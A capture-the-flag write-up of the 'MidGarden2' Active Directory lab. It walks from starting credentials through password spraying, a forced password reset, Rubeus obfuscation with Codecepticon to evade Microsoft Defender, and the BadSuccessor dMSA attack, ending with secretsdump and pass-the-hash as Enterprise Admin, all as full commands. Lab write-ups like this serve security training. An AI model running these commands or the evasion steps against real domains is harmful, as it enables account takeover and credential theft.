MidGarden2
Challenge Lab (Hard) - by NoxLumens
The following post by 0xb0b is licensed under CC BY 4.0
Scenario
Objective / Scope
As a member of the Hack Smarter Red Team, you have been assigned to this engagement to conduct a comprehensive penetration test of the client's internal environment.
The client has a mature security posture and has previously undergone multiple internal penetration testing engagements. Given our team's advanced expertise in ethical hacking, the primary objective of this assessment is to identify attack vectors that may have been overlooked in prior engagements.
Starting Credentials
freyja:Fr3yja!Dr@g0n^12Summary
Recon
We use rustscan -b 500 -a sysco.hs -- -sC -sV -Pn to enumerate all TCP ports on 10.1.92.12, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.
A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.
rustscan -b 500 -a 10.1.92.12 -- -sC -sV -Pn
With the results of our RustScan we identify a Windows host named MIDGARDDCon domain yggdrasil.hacksmarter exposing DNS on 53, Kerberos on 88, Active Directory LDAP on 389 (AD), LDAPS/tcpwrapped on 636, kpasswd5 on 464, Microsoft RPC / MSRPC endpoints on 135, NetBIOS/SMB on 139 and 445 (SMB2 message signing required).

Furthermore we have RPC-over-HTTP on 5985 .NET message framing on 9389, RDP on 3389 and several ephemeral MSRPC ports 49664, 49678, etc.

SMB
Since we already have some credentials from the scenario. We will test whether we can authenticate via SMB using these credentials, for which we will use NetExec.
nxc smb 10.1.92.12 -u freyja -p 'Fr3yja!Dr@g0n^12'We can authenticate as freyja. Next we try to enumerate the shares. The scripts share stands out, but is not readbale.
nxc smb 10.1.92.12 -u freyja -p 'Fr3yja!Dr@g0n^12' --shares 
For now we just generate an /etc/hosts entry with the following command. We do this to ensure consistent name resolution during enumeration and exploitation.
nxc smb 10.1.92.12 -u freyja -p 'Fr3yja!Dr@g0n^12' --generate-hosts-file hosts
We add the following line to our /etc/hosts file.
10.1.92.12 MIDGARDDC.yggdrasil.hacksmarter yggdrasil.hacksmarter MIDGARDDC
LDAP
Since LDAP is exposed we enumerate the users of the domain using NetExec.
We may have a password in the description field for user Thor. It is marked as temporary, but we will try to authenticate using that password later.
nxc ldap MIDGARDDC.yggdrasil.hacksmarter -u freyja -p 'Fr3yja!Dr@g0n^12' --users
We save the users in a user.txt file for possible password spray attacks later on.
Administrator
Guest
krbtgt
Odin
Ymir
Thor
Loki
Frigg
Baldr
Hel
Freyja
Sif
Njord
Skadi
Heimdall
Bragi
Idunn
Hodr
Forseti
Ullr
TyrBloodHound
After having roughly enumerated SMB and LDAP, we move on to Bloodhound. We use the credentials of freya we can use bloodhound to enumerate the domain
bloodhound-ce.py --zip -c All -d yggdrasil.hacksmarter -u freyja -p 'Fr3yja!Dr@g0n^12' -dc MIDGARDDC.yggdrasil.hacksmarter -ns 10.1.92.12 
But unfortunately the user freya has no interesting group membership or outbound object control that we can use to escalate our privileges.

Nevertheless, we have already been able to find a password-like string in the description of the user thor from our LDAP enumeration.We look at the user in Bloodhound and assume that we have already compromised them. The check of successful comprometation will be performed later. We see that we are able to change the password of the user hodr as being part of the PC SPECIALIST 2 group with the ForceChangePassword permission.

We see that the user hodr is part of the REMOTE MANAGEMET USERS group and could therefore be our first foothold.

Access as thor
We perform password spray with the discovered password-like string and the identified users on SMB using NetExecc. We are able to authenticate as thor.
nxc smb MIDGARDDC.yggdrasil.hacksmarter -u users.txt -p 'REDACTED' --continue-on-success
Shell as hodr
Next, we recall our BloodHound enumeration and perform a password change on the user hodr as thor.
To perform the password change using bloodyAD.
bloodyAD --host '10.1.92.12' -d 'yggdrasil.hacksmarter' -u 'Thor' -p 'REDACTED' set password 'Hodr' 'Pwned123!@'
After we have changed the password we try to authenticate as hodr via SMB using NetExec and are successful. We are now able to read the share scripts. However, we will save that for the next escaltion step.
nxc smb MIDGARDDC.yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@'
Next, we connect to the target machine with the credentials as hodr to find the user flag at C:\Users\hodr\Desktop\user.txt.
evil-winrm -i yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@' 
Shell as ymir
While we are still in hodr's session, let's take a look at which other users were already logged in on the machine.

Recalling the BloodHound output we identify ymir as Enterprise Admin and odin as Domain Admin. One of these two users will be our next target. Preferably ymir, since he is the Enterprise Admin. Members of this group have elevated rights across all domains in the AD forest. So in a real engagement it's a target with the most impact.
However, in BloodHound we cannot find a path to escalate from hodr to either of the two users.
We can't seem to find a path on the machine itself either.

Identification of BadSuccessor
Recalling the share found from the SMB enumeration we are able to spot three scripts inside. Those are create-dMSA.ps1, dmsa_find.ps1, replicate-DCs.ps1.
We could already get them as eithr thor or hodr, but are now interesting.

The create-dMSA.ps1 script is about creation of a delegated MSA with Kerberos AES256 and password retrieval delegation.
The dmsa_find.ps1 script enumerates all Managed Service Accounts and shows delegation status.
The replicate-DCs.ps1 just forces replication across all DCs.
repadmin /syncall MIDGARDDC /AeP#So, what do the scripts give us? At first, nothing. But they tempt us to search for exploits or misconfigurations of dMSA accounts. And we find what we're looking for. BadSuccessor:

It's a vulnerability found in Windows Server 2025 by Akami. The following blog provides technical insight:
Recalling the NetExec output from the enumeration results confirms that the target is running a Windows Server 2025:
Windows 11 / Server 2025 Build 26100 x64nxc smb MIDGARDDC.yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@'
NetExec also has an LDAP module for testing this vulnerability, and we have a positive result:
nxc ldap MIDGARDDC.yggdrasil.hacksmarter -u Hodr -p 'Pwned123!@' -M badsuccessor
We have to perform a BadSuccessor attack.
Resources
There are alot of resources. I recommend the following two to learn about the attack and apply it:
However, we will follow a different source to exploit this vulnerability that shows a step by step exploitation guide without leaving out any information. More on this later in the Exploit section.
BadSuccessor
BadSuccessor abuses delegated Managed Service Accounts dMSAs to impersonate any AD user. It enables an account takeover (including Domain and Enterprise Admins) by creating or editing a dMSA linked to a target so a Kerberos ticket as that user can be requested. AWindows Server 2025 DC is required and a write primitive to create/modify dMSAs or their ACLs (OU/DACL access). It works because the KDC treats the dMSA as the "successor", merging the target’s PAC/keys into the dMSA’s ticket.
Failed Exploitation Attempt
We first try locally on the machine using Rubeus. However, we are interrupted by Microsoft Defender. It is active and detects Rubeus.

No problem, we can also try it remotely using bloodyAD. But this doesn't seem to work properly either.
bloodyad -d tryhackme.local -u 'Hodr' -p 'Pwned123!@' --host MIDGARDDC.yggdrasil.hacksmarter add badSuccessor 0xb0b_dmsa
Obfuscation of Rubeus
So we take a step back and decide to continue trying locally.
To do this, however, we first need to obfuscate the binary so it does not get detected by Defender. With obfuscation a program’s intent is tried to be hidden by transforming its code, e.g., renaming symbols, scrambling control flow, encoding and encrypting strings, and adding dead or noisy instructions.
I recommend the following room on THM to learn about the principles of obfuscation:
We can do this manually and refactor the code, or we can use a tool that does it for us. Codeception is one of them, and we also found a blog that directly addresses Rubeus:
We clone the Rubeus repository and the Codeception repository:
Next, we need to compile Codeception first:
Open the solution with Visual Studio. Make sure it's set to
Release, andBuild.Once Codecepticon has been compiled, all the required files will be under the
Releasedirectory:
We can either generate the command using the CommandLineGenerator.html or use the provided command of the blog. We'll use the command from the blog:
.\Codecepticon.exe --module csharp --action obfuscate --verbose --path "...\Rubeus\Rubeus.sln" --map-file "...\Rubeus\Obfuscated-Mapping.html" --profile rubeus --rename all --rename-method markov --markov-min-length 3 --markov-max-length 9 --markov-min-words 3 --markov-max-words 4 --string-rewrite --string-rewrite-method file --string-rewrite-extfile "...Rubeus\debug.log"
--module csharpDefines the module we want to use, current options are:csharp,powershell,vba, andsign.
--action obfuscateDefine the action - specific to the module selected above.
--path "C:\code\Rubeus\Rubeus.sln"Path to the solution you are targeting.
--map-file "C:\code\Rubeus\Obfuscated-Mapping.html"This output file will contain a mapping between original and obfuscated values - something we will refer to further down this post. As long as you are using the final obfuscated executable, you need this file in your life - do not delete it.
--profile rubeusDefine a profile (from a pre-existing supported list). Just to clarify, this does not mean that Codecepticon only supports applications that have a profile. A profile is just extra tweaks that Codecepticon performs in order to add some final touches that are specific to that tool.
--rename allRename everything - namespaces, classes, enums, etc.
--rename-method markovSet the identifier renaming method tomarkovwhich is auto-generation of "words that look English, but aren't". This is for helping with keeping the entropy of the executable lower.
--markov-min-length 3 --markov-max-length 9All auto-generated words will be between 3 and 9 characters.
--markov-min-words 3 --markov-max-words 4Each obfuscated identifier will be a combination of 3 to 4 auto-generated words.
--string-rewriteDefine that we also want to rewrite strings.
--string-rewrite-method fileDefine the string rewrite method asfile. This means that all strings will be taken out of the executable and saved in an external file, that has to be present during execution (in order to load the strings during runtime). This was implemented to minimise the risk of AV/EDRs detection - can't scan what isn't there, right?
--string-rewrite-extfile "C:\code\Rubeus\debug.log"Specify the location of the external file where all the strings will be saved in.
After running the command the Rubeus project has been modified.

Furthermore we get an Obfuscated-Mapping.html file that provides information about the obfuscated parameters. Since these are also obfuscated.
Now open the Rubeus project in Visual Studio Code and compile the obfuscated version. We receive the binary (callled NardsIndlyIncoded.exe in this case ) and a debug.log. The debug.log is required to rewrite the strings back to the original values, this file is required to run the obfuscated binary.

Exploit
We'll use the following script to identify which identities have permissions to create dMSAs in their domain, and which OUs are affected.
We upload the script and are able to identify the identities that have permissions to create the dMSAs and the affected OUs.
upload Get-BadSuccessorOUPermissions.ps1.\Get-BadSuccessorOUPermissions.ps1
The identity that is able to create dMSAs is the webServerAdmins group. Recalling the output of BloodHound we know that the user hodr is part ot the webServerAdmins:

Furthermore the following OUs are affected:
OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarterWe have everything what we need.
Next we upload the debug.log and our obfuscated version of Rubeus. It does not get detected / deleted.
upload debug.logupload NardsIndlyIncoded.exe
We'll folllow the steps from the blog (Lab Walkthrough) as this shows a detailed step by step set of instructions:
1 Create a Computer Account
we create and enable a new computer account named 0xb0b in the specified Active Directory OU, assigns it the SAM account name 0xb0b$ with the given password, and perform the operation against the domain controller yggdrasil.hacksmarter.
New-ADComputer -Name 0xb0b -SamAccountName "0xb0b$" -AccountPassword (ConvertTo-SecureString -String "Pwned123!@" -AsPlainText -Force) -Enabled $true -Path "OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter" -PassThru -Server "yggdrasil.hacksmarter"2 Derive AES256 Hash using Rubeus
Next, we derive the hash of machine account created using Rubeus.
We prepare the un-obfuscted command...
un-obfuscated command
.\Rubeus.exe hash /password:'Pwned123!@' /user:0xb0b$ /domain:yggdrasil.hacksmarterobfuscated command
Next, we lookup the actual obfuscated parameters using the Obfuscated-Mapping.html page.
The following two screenshots show this by way of example only.


We end up with the following command and are able to retrieve the hash, we will use later.
.\NardsIndlyIncoded.exe intrepeddebusgruous /phitedudgecoeless:'Pwned123!@' /schoplaterepostaponsed:0xb0b$ /dismuninsisnaution:yggdrasil.hacksmarter
3 Create the dMSA Account
Next, we create a Delegated Managed Service Account (DMSA) named 0xb0bDMSA in the specified OU, sets its DNS hostname and AES-256 Kerberos encryption, and allows the computer account 0xb0b$ to retrieve its managed password. It’s used to set up secure, domain-managed service credentials tied to a specific host.
New-ADServiceAccount -Name 0xb0bDMSA -DNSHostName 0xb0bDMSA.yggdrasil.hacksmarter -CreateDelegatedServiceAccount -KerberosEncryptionType AES256 -PrincipalsAllowedToRetrieveManagedPassword "0xb0b$" -Path "OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter" -Verbose
4 Grant GenericAll to Low Privileged User over the dMSA
Next we grant GenericAll over the dMSA account.
We need a GenericAll on the object to gain full control of the target object’s ACL/DACL to modify any attribute, reset passwords, change security descriptors, change the owner, etc. In this case we need to set the special dMSA migration attributes: msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState.
We retrieve the SID of user hodr, load the ACL of the 0xb0bDMSA AD object, then adds an access rule granting GenericAll to that user, and finally writes the modified ACL back to the object.
$sid = (Get-ADUser -Identity "hodr").SID
$acl = Get-Acl "AD:\CN=0xb0bDMSA,OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $sid, "GenericAll", "Allow"
$acl.AddAccessRule($rule)
Set-Acl -Path "AD:\CN=0xb0bDMSA,OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter" -AclObject $acl -Verbose
5 Set Delegation Attributes
Next we set the dMSA migration attributes: msDS-ManagedAccountPrecededByLink and msDS-DelegatedMSAState.
msDS-ManagedAccountPrecededByLink: Set this toymirto impersonate that user using the dMSAmsDS-DelegatedMSAState: Set this to 2 to simulate a completed migration
Set-ADServiceAccount -Identity 0xb0bDMSA -Replace @{
'msDS-ManagedAccountPrecededByLink' =
'CN=ymir,OU=Administrators,OU=Yggdrasil Users,DC=yggdrasil,DC=hacksmarter'
'msDS-DelegatedMSAState' = 2
} -Verbose
6 Verify dMSA Attributes
Next, we verify the dMSA attributes set.
Get-ADServiceAccount -Identity 0xb0bDMSA -Properties msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState | Select-Object Name, msDS-ManagedAccountPrecededByLink, msDS-DelegatedMSAState
7 Request TGT with Machine Account
Now we request a TGT for our machine account 0xb0b$ using Rubeus.
Once we have a valid machine-account TGT, the KDC will treat that security principal as any domain account with its associated privileges and PAC (Privilege Attribute Certificate). This TGT will later allow us to request a TGS on behalf of the dMSA.
un-obfuscated command
.\Rubeus.exe asktgt /user:0xb0b$ /aes256:<AESblob> /domain:yggdrasil.hacksmarter /nowrapobfuscated command
With this obfuscation, the nowrap parameter was probably not obfuscated or was broken.
.\NardsIndlyIncoded.exe apollerplaicalnagly /schoplaterepostaponsed:0xb0b$ /ecodeunterunrunise:77<REDACTED>C8 /dismuninsisnaution:yggdrasil.hacksmarter /GudePignessPilate
The nowrap parameter does not seem to work, but here we can still use the unobfuscated function
.\NardsIndlyIncoded.exe apollerplaicalnagly /schoplaterepostaponsed:0xb0b$ /ecodeunterunrunise:77<REDACTED>C8 /dismuninsisnaution:yggdrasil.hacksmarter /nowrap
8 Request TGS Using dMSA
Now that we have a TGT for the machine account, we can request a TGS for the dMSA account 0xb0bDMSA$, specifically for the krbtgt service.
The machine account has the rights to retrieve the dMSA credentials and operate on its behalf. The TGS we request here will effectively give us a service ticket that reflects the dMSA's PAC and privileges.
un-obfuscated command
Rubeus.exe asktgs /targetuser:0xb0bDMSA$ /service:krbtgt/yggdrasil.hacksmarter /dmsa /opsec /ptt /nowrap /outfile:ticket.kirbi /ticket:<ticket-from-last-step/machine-account-ticket>obfuscated command
.\NardsIndlyIncoded.exe phomorpuschiefporic /pensiontozzeeglady:0xb0bDMSA$ /fimbleimporkunititusk:krbtgt/yggdrasil.hacksmarter /pyrexpousnocatioustra /impenyskeicbousnesse /humingbiolessburgod /nowrap /wethrosehirlbwbop:ticket.kirbi /rewarminamonorhizepalmian:do<REDACTED>GVy
We download the resulting ticket immediatly.
download ticket.kirbi
Next, we convert the ticket to a ccache file. We set the variable KRB5CCNAME via export KRB5CCNAME=<filename>.
ticketConverter.py ticket.kirbi 0xb0bDMSA.ccacheexport KRB5CCNAME=0xb0bDMSA.ccache
Next, we use impacket-secretsdump to dump the hashes remotely. We get the hash of ymir, odin and the local administrator.
secretsdump.py -k -no-pass midgarddc.yggdrasil.hacksmarter
We'll pass the nt hash of ymir using evil-winrm and a get a session.
evil-winrm -u ymir -H REDACTED-i midgarddc.yggdrasil.hacksmarter
We'll find the final flag at C:\Users\Administrato\Desktop\root.txt.

Lab Creation by NoxLumens
DEF CON 33 - The UnRightful Heir My dMSA Is Your New Domain Admin - Yuval Gordon
Last updated
Was this helpful?